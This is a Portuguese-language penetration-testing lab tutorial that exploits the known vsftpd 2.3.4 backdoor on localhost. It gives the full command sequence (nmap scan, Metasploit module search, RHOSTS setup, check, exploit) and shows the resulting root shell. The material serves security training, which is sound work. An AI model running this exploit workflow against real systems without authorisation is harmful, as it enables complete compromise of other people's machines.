Explorar Serviço vsftpd Vulnerável no Metasploit

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você assumirá o papel de um penetration tester e aprenderá a usar o Metasploit Framework para explorar uma vulnerabilidade conhecida em um serviço comum. Especificamente, você terá como alvo o vsftpd (Very Secure FTP Daemon) versão 2.3.4, que contém um famoso backdoor.

O Metasploit é um poderoso framework de código aberto para testes de penetração que simplifica o hacking. É uma ferramenta essencial para profissionais de segurança. Você seguirá o processo padrão de testes de penetração: escaneando o alvo para identificar serviços, encontrando um exploit adequado, configurando-o e lançando o ataque para obter controle do sistema alvo. Para este laboratório, sua máquina alvo será o ambiente local (localhost).

Identificar um serviço vsftpd vulnerável

Nesta etapa, você realizará reconhecimento, a primeira fase de qualquer teste de penetração. O objetivo é escanear o alvo para descobrir portas abertas e identificar as versões dos serviços em execução nelas. Esta informação é crucial para encontrar potenciais vulnerabilidades. Usaremos o nmap, uma poderosa ferramenta de escaneamento de rede, para este propósito.

Primeiro, abra um terminal. Escanearemos nossa máquina local, que atua como alvo. O endereço IP da máquina local é 127.0.0.1.

Execute o seguinte comando nmap para realizar um escaneamento de versão de serviço (-sV) no alvo:

nmap -sV 127.0.0.1

Após a conclusão do escaneamento, o nmap relatará as portas abertas e os serviços que identificou. Para este laboratório, estamos interessados no serviço FTP em execução na porta 21.

Sua saída deve ser semelhante a esta. Observe as informações de versão para o serviço FTP.

Starting Nmap 7.80 ( https://nmap.org ) at ...
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0001s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 2.3.4

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in ... seconds

A saída mostra claramente que o vsftpd 2.3.4 está em execução na porta 21. Esta versão específica é amplamente conhecida por conter um backdoor, tornando-a um alvo ideal para o nosso exploit.

Selecionar o módulo de exploit vsftpd_234_backdoor

Nesta etapa, você iniciará o Metasploit Framework e encontrará o módulo de exploit correto para atacar o serviço vsftpd 2.3.4.

Primeiro, inicie o console do Metasploit. Usamos a flag -q (quiet) para pular o banner e iniciar mais rapidamente.

msfconsole -q

Assim que o Metasploit for carregado, você verá o prompt msf6 >. Agora, você pode pesquisar exploits relacionados ao vsftpd. Use o comando search:

search vsftpd

O Metasploit exibirá uma lista de módulos correspondentes. Você deverá ver um exploit especificamente para o backdoor no vsftpd 2.3.4.

Matching Modules
================

   ##  Name                                 Disclosure Date  Rank       Check  Description
   -  ----                                 ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03     excellent  Yes    VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                     normal     No     FTP Version Scanner

O módulo exploit/unix/ftp/vsftpd_234_backdoor é exatamente o que precisamos. Ele é classificado como "excellent" (excelente), o que significa que é altamente confiável. Para carregar este módulo, use o comando use seguido pelo nome completo do módulo ou seu número nos resultados da pesquisa.

use exploit/unix/ftp/vsftpd_234_backdoor

Após executar o comando, seu prompt mudará para msf6 exploit(unix/ftp/vsftpd_234_backdoor) >, indicando que o módulo de exploit está agora ativo.

Definir a opção RHOSTS para o endereço IP do alvo

Nesta etapa, você configurará o módulo de exploit. A maioria dos módulos exige que você defina opções, como o endereço IP do alvo.

Com o módulo vsftpd_234_backdoor carregado, você pode visualizar suas opções usando o comando show options.

show options

Este comando exibirá uma tabela de todas as opções disponíveis para este módulo, suas configurações atuais e se elas são obrigatórias.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Como você pode ver, RHOSTS (Remote Hosts) é obrigatório, mas não tem nenhum valor definido. Você precisa definir isso para o endereço IP da nossa máquina alvo, que é 127.0.0.1.

Use o comando set para configurar a opção RHOSTS:

set RHOSTS 127.0.0.1

Para confirmar que a opção foi definida corretamente, você pode executar show options novamente. Você verá que RHOSTS agora tem o valor 127.0.0.1.

Usar o comando check para verificar se o alvo é vulnerável

Nesta etapa, você usará uma maneira segura de testar se o alvo é realmente vulnerável ao exploit selecionado. O Metasploit fornece um comando check para muitos módulos, que permite verificar a vulnerabilidade sem iniciar um ataque completo. Isso é útil para evitar detecção e travamentos do sistema.

Agora que o módulo de exploit está configurado com o endereço IP do alvo, basta executar o comando check:

check

O Metasploit tentará sondar o serviço alvo para determinar se o backdoor existe. Se o alvo for vulnerável, você verá uma mensagem de confirmação.

[+] 127.0.0.1:21 - The target is vulnerable.

A mensagem [+] The target is vulnerable. confirma que o serviço vsftpd em 127.0.0.1 possui o backdoor. Você está pronto para iniciar o exploit. Se o alvo não fosse vulnerável, ele normalmente reportaria que o alvo não é explorável.

Executar o exploit e obter um shell de comando

Nesta etapa, você executará o exploit para obter acesso não autorizado ao sistema alvo. Como o comando check confirmou que o alvo é vulnerável, o exploit deve ter sucesso.

O comando para iniciar o ataque é exploit. Você também pode usar seu alias, run.

exploit

O Metasploit agora enviará o payload malicioso para o serviço vsftpd. O backdoor será acionado, abrindo um shell de comando em uma porta diferente (porta 6200 neste caso). O Metasploit se conectará a este novo shell, dando a você acesso direto à linha de comando do alvo.

A saída será semelhante a esta:

[*] 127.0.0.1:21 - Found the backdoor service on port 6200!
[*] 127.0.0.1:21 - Sending trigger...
[*] Command shell session 1 opened (127.0.0.1:38974 -> 127.0.0.1:6200) at 2023-10-27 10:30:00 -0400

Agora você tem um shell de comando na máquina alvo! Observe que o prompt desapareceu. Você pode executar comandos como se estivesse logado diretamente no alvo. Vamos verificar nosso nível de acesso executando o comando whoami.

whoami

A saída deve ser:

root

Isso confirma que você obteve um shell root, dando a você controle total sobre o sistema alvo. Para sair do shell e retornar ao prompt do Metasploit, digite exit.

Resumo

Parabéns por completar com sucesso este laboratório! Você aprendeu o fluxo de trabalho fundamental de um teste de penetração usando o Metasploit Framework.

Neste laboratório, você:

  1. Usou o nmap para realizar reconhecimento e identificar um serviço vsftpd 2.3.4 vulnerável.
  2. Iniciou o console do Metasploit e procurou por um exploit relevante.
  3. Selecionou e configurou o módulo de exploit vsftpd_234_backdoor definindo a opção RHOSTS.
  4. Verificou com segurança a vulnerabilidade do alvo usando o comando check.
  5. Executou o comando exploit para obter um shell de comando em nível de root no sistema alvo.

Este exercício demonstra como uma vulnerabilidade simples e não corrigida pode levar a um comprometimento completo do sistema. Ele destaca a importância de manter o software atualizado e o poder de ferramentas como o Metasploit tanto para hackers éticos quanto para atacantes maliciosos.